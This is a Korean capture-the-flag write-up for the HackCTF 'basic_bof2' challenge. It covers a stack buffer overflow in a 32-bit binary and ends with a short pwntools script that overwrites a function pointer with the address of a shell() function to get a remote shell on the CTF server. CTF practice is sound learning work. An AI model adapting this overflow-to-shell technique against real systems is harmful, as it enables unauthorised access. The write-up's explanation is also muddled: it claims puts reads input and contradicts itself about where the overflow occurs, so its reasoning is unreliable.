System/PWNABLE

[HackCTF] basic_bof2

ElAsJay 2021. 2. 1. 00:44
728x90

checksec

- 32bit

- Partial RELRO

 

Analyze

pseudo code

 

- 스택 버퍼에 문자열 s에 fgets 함수를 이용해 133byte만큼 표준입력을 통해 입력받도록 한다. 하지만 이 때는 133<0x8C(140)으로 버퍼오버플로우가 발생하지는 않는다. 

- 대신, 그 이전에 sup함수에서 puts함수를 통해 s에 입력받도록 되어있고, 여기서 스택 버퍼 오버플로우가 발생한다. sup함수는 v5로 리턴된다. 

- shell() 함수에서 쉘을 획득할 수 있도록 system("/bin/dash")를 리턴하고 있다.

- sup함수에서의 버퍼오버플로우를 이용하여 v5의 값을 shell()함수의 주소로 바꿔 쉘을 획득하도록 한다.

실행

Exploit

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3001)

pl = "A"*(0x8c - 0xc)
pl += p32(0x0804849b)

p.sendline(pl)
p.interactive()

! 성공 !

SMALL